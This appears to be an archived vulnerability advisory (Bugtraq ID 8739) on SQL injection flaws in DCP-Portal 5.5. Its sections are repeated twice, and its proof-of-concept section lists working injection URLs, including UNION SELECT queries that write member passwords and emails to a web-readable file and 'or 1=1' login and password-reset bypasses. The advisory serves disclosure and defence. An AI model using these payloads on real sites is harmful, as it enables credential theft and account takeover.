Multiple DCP-Portal SQL Injection Vulnerabilities
BID:8739
Info
Multiple DCP-Portal SQL Injection Vulnerabilities
| Bugtraq ID: | 8739 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Oct 01 2003 12:00AM |
| Updated: | Oct 01 2003 12:00AM |
| Credit: | Discovery of these vulnerabilities has been credited to Lifo Fifo <[email protected]>. |
| Vulnerable: |
DCP-Portal Community DCP-Portal 5.5 |
| Not Vulnerable: | |
Discussion
Multiple DCP-Portal SQL Injection Vulnerabilities
Multiple SQL Injection vulnerabilities have been discovered that affect DCP-Portal scripts. These issues are likely due to a lack of sufficient sanitization performed on user supplied URI parameters. Attacks have been demonstrated that inject partial SQL queries, as values for URI parameters, in a manner that influences DCP-Portal SQL query logic to the attackers benefit.
An attacker may exploit these conditions to disclose DCP Portal credentials, reset user passwords, or perform a denial of service type attack via email spamming.
Multiple SQL Injection vulnerabilities have been discovered that affect DCP-Portal scripts. These issues are likely due to a lack of sufficient sanitization performed on user supplied URI parameters. Attacks have been demonstrated that inject partial SQL queries, as values for URI parameters, in a manner that influences DCP-Portal SQL query logic to the attackers benefit.
An attacker may exploit these conditions to disclose DCP Portal credentials, reset user passwords, or perform a denial of service type attack via email spamming.
Exploit / POC
Multiple DCP-Portal SQL Injection Vulnerabilities
The following proof of concept has been supplied:
http://www.example.com/dcp/advertiser.php?adv_logged=1&username=1&password=qwe' or 1=1 UNION select uid,name,password,surname,job,email from dcp5_members into outfile'c:/apache2/htdocs/dcpad.txt
http://www.example.com/dcp/advertiser.php?adv_logged=1&username=1&password=qwe' or 1=1 UNION select uid,name,password,surname,job,email from dcp5_members into outfile'/var/www/html/dcpad.txt
http://www.example.com/dcp/advertiser.php?adv_logged=1&username=1&password='
http://www.example.com/dcp/lostpassword.php?action=lost&email=fake' or 1=1--'
The following proof of concept has been supplied:
http://www.example.com/dcp/advertiser.php?adv_logged=1&username=1&password=qwe' or 1=1 UNION select uid,name,password,surname,job,email from dcp5_members into outfile'c:/apache2/htdocs/dcpad.txt
http://www.example.com/dcp/advertiser.php?adv_logged=1&username=1&password=qwe' or 1=1 UNION select uid,name,password,surname,job,email from dcp5_members into outfile'/var/www/html/dcpad.txt
http://www.example.com/dcp/advertiser.php?adv_logged=1&username=1&password='
http://www.example.com/dcp/lostpassword.php?action=lost&email=fake' or 1=1--'
Solution / Fix
Multiple DCP-Portal SQL Injection Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
Multiple DCP-Portal SQL Injection Vulnerabilities
References:
References:
- DCP-Portal Homepage (DCP-Portal)
- DCP Portal - 5.5 holes (Lifo Fifo
)